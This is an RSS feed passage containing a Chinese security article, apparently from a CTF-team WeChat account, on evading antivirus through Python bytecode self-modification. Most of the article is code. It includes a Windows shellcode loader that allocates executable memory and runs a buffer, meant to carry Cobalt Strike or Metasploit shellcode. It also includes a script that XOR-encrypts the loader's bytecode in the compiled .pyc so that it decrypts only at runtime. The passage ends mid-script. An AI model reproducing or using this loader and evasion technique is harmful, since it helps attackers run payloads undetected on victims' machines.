1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="">欢迎联系</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="jpeg" data-w="748" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);visibility: visible !important;width: 677px !important;" data-copyright="0" data-imgfileid="100028091" src="https://wechat2rss.xlab.app/img-proxy/?k=4b6fd77d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D4"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=292c456a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514049%26idx%3D1%26sn%3D84f9b24b3ff483a1d4b19d653ebdd690">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 24 Jan 2026 22:35:00 +0800</pubDate>
    </item>
    <item>
      <title>36x核x免杀之Python代码自修改技术</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514040&amp;idx=1&amp;sn=ddd4c54552593e93426580ef1c75b202</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Anzi</span> <span>2025-12-24 08:02</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7b337b53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBTibmeCibO3jicAxdkIfWdUzgj0icfIHAOKXXdCPAb076ZVnK2splNib558bic5fsbkGQNHdTuEB7vKUeoA%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><blockquote style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 10px 10px 10px 20px;outline: 0px;border-width: 3px 1px 3px 3px;border-style: none solid;border-color: rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.65);color: var(--weui-FG-1);font-size: 15px;text-indent: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-radius: 0px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(249, 249, 249, 0.76);width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow: auto;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 8px 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-indent: 0em;color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">招新小广告CTF组诚招web、re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 admin@chamd5.org(带上简历和想加入的小组)</span></p></blockquote></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">灵感来自一道ctf python逆向题，通过对 </span><code style="color: rgb(30, 107, 184);font-size: 12px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: &#39;Operator Mono&#39;, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.pyc</span></code><span leaf=""> 文件中特定函数的字节码进行加密，在程序运行之初再动态解密字节码，从而实现逃逸杀软的检测。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">首先，样本的原始代码如下，Loader函数负责加载shellcode进内存并执行，这里可以使用cs或msf生成的shellcode。pycStuff.py内容如下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> ctypes</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> types</span><span leaf=""><br/></span><span leaf="">kernel32 = ctypes.windll.kernel32</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">write_memory</span></span><span style="line-height: 26px;"><span leaf="">(buf)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    length = len(buf)</span><span leaf=""><br/></span><span leaf="">    kernel32.VirtualAlloc.restype = ctypes.c_void_p</span><span leaf=""><br/></span><span leaf="">    ptr = kernel32.VirtualAlloc(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">, length, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3000</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x40</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    kernel32.RtlMoveMemory.argtypes = (</span><span leaf=""><br/></span><span leaf="">        ctypes.c_void_p,</span><span leaf=""><br/></span><span leaf="">        ctypes.c_void_p,</span><span leaf=""><br/></span><span leaf="">        ctypes.c_size_t)</span><span leaf=""><br/></span><span leaf="">    kernel32.RtlMoveMemory(ptr, buf, length)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ptr</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">stuff</span></span><span style="line-height: 26px;"><span leaf="">(object)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    buffer = ctypes.cast(id(object.__code__.co_code) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">, ctypes.POINTER(ctypes.c_char))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(len(object.__code__.co_code)):</span><span leaf=""><br/></span><span leaf="">        buffer[i] = buffer[i][</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xDDBBAAFF12E0100</span></span><span leaf=""> &gt;&gt; (i % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf=""> &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">255</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> buffer</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">stuff_and_reload</span></span><span style="line-height: 26px;"><span leaf="">(func_obj, key=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xDDBBAAFF12E0100</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;解密并返回新的函数对象&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 方法 1：通过 replace 创建新的代码对象</span></span><span leaf=""><br/></span><span leaf="">    old_code = func_obj.__code__.co_code</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 解密字节码</span></span><span leaf=""><br/></span><span leaf="">    new_bytecode = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(len(old_code)):</span><span leaf=""><br/></span><span leaf="">        new_bytecode.append(old_code[i] ^ (key &gt;&gt; (i % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf=""> &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">))</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 创建新的代码对象</span></span><span leaf=""><br/></span><span leaf="">    new_code_obj = func_obj.__code__.replace(co_code=bytes(new_bytecode))</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 创建新的函数对象</span></span><span leaf=""><br/></span><span leaf="">    new_func = types.FunctionType(</span><span leaf=""><br/></span><span leaf="">        new_code_obj,</span><span leaf=""><br/></span><span leaf="">        func_obj.__globals__,</span><span leaf=""><br/></span><span leaf="">        func_obj.__name__,</span><span leaf=""><br/></span><span leaf="">        func_obj.__defaults__,</span><span leaf=""><br/></span><span leaf="">        func_obj.__closure__</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> new_func</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">Loader</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># stuff(write_memory)</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        shellcode = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;shellcode&#39;</span></span><span leaf=""><br/></span><span leaf="">        buf = ctypes.create_string_buffer(shellcode)</span><span leaf=""><br/></span><span leaf="">        ptr = write_memory(buf)</span><span leaf=""><br/></span><span leaf="">        shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">        shell_func()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Unexpected error: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    Loader = stuff_and_reload(Loader)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># import inspect</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># source_code = inspect.getsource(Loader)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># print(source_code)</span></span><span leaf=""><br/></span><span leaf="">    Loader()</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Hello world&#34;</span></span><span leaf="">)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">对pycStuff.py进行编译，获得pycStuff.pyc文件。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">python -OO -m py_compile pycStuff.py</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后使用GeneratePycStuff.py文件对pycStuff.pyc文件中的loader函数的字节码进行加密并patch。GeneratePycStuff.py内容如下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> marshal</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> types</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> sys</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">read_pyc</span></span><span style="line-height: 26px;"><span leaf="">(filename)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;读取 .pyc 文件&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(filename, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;rb&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Python 3.7+ 的 .pyc 文件格式</span></span><span leaf=""><br/></span><span leaf="">        magic = f.read(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Magic number</span></span><span leaf=""><br/></span><span leaf="">        flags = f.read(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Flags (Python 3.7+)</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> sys.version_info &gt;= (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">            timestamp = f.read(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            size = f.read(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            timestamp = f.read(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            size = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">        code_obj = marshal.load(f)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> magic, flags, timestamp, size, code_obj</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">write_pyc</span></span><span style="line-height: 26px;"><span leaf="">(filename, magic, flags, timestamp, size, code_obj)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;写入 .pyc 文件&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(filename, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wb&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span leaf="">        f.write(magic)</span><span leaf=""><br/></span><span leaf="">        f.write(flags)</span><span leaf=""><br/></span><span leaf="">        f.write(timestamp)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> size:</span><span leaf=""><br/></span><span leaf="">            f.write(size)</span><span leaf=""><br/></span><span leaf="">        marshal.dump(code_obj, f)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">encrypt_bytecode</span></span><span style="line-height: 26px;"><span leaf="">(bytecode, key=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xDDBBAAFF12E0100</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    result = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i, b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(bytecode):</span><span leaf=""><br/></span><span leaf="">        xor_value = (key &gt;&gt; (i % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">255</span></span><span leaf=""><br/></span><span leaf="">        result.append(b ^ xor_value)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(result)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decrypt_bytecode</span></span><span style="line-height: 26px;"><span leaf="">(bytecode, key=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xDDBBAAFF12E0100</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    result = bytearray()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i, b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> enumerate(bytecode):</span><span leaf=""><br/></span><span leaf="">        xor_value = (key &gt;&gt; (i % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">255</span></span><span leaf=""><br/></span><span leaf="">        result.append(b ^ xor_value)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(result)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">modify_function_in_code</span></span><span style="line-height: 26px;"><span leaf="">(code_obj, func_name, encrypt=True, key=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5A</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;递归查找并修改指定函数的字节码&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 检查当前代码对象的名称</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> code_obj.co_name == func_name:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;找到函数: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{func_name}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> encrypt:</span><span leaf=""><br/></span><span leaf="">            new_code = encrypt_bytecode(code_obj.co_code, key)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;加密字节码: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(new_code)}</span></span><span leaf=""> 字节&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            new_code = decrypt_bytecode(code_obj.co_code, key)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;解密字节码: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{len(new_code)}</span></span><span leaf=""> 字节&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 创建新的代码对象</span></span><span leaf=""><br/></span><span leaf="">        new_code_obj = types.CodeType(</span><span leaf=""><br/></span><span leaf="">            code_obj.co_argcount,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_posonlyargcount,  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Python 3.8+</span></span><span leaf=""><br/></span><span leaf="">            code_obj.co_kwonlyargcount,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_nlocals,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_stacksize,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_flags,</span><span leaf=""><br/></span><span leaf="">            new_code,  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 替换字节码</span></span><span leaf=""><br/></span><span leaf="">            code_obj.co_consts,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_names,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_varnames,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_filename,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_name,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_firstlineno,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_lnotab,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_freevars,</span><span leaf=""><br/></span><span leaf="">            code_obj.co_cellvars</span><span leaf=""><br/></span><span leaf="">        )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> new_code_obj</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 递归处理嵌套的代码对象</span></span><span leaf=""><br/></span><span leaf="">    new_consts = []</span><span leaf=""><br/></span><span leaf="">    modified = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> const </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> code_obj.co_consts:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> isinstance(const, types.CodeType):</span><span leaf=""><br/></span><span leaf="">            new_const = modify_function_in_code(const, func_name, encrypt, key)</span><span leaf=""><br/></span><span leaf="">            new_consts.append(new_const)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> new_const </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> const:</span><span leaf=""><br/></span><span leaf="">                modified = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            new_consts.append(const)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> modified:</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 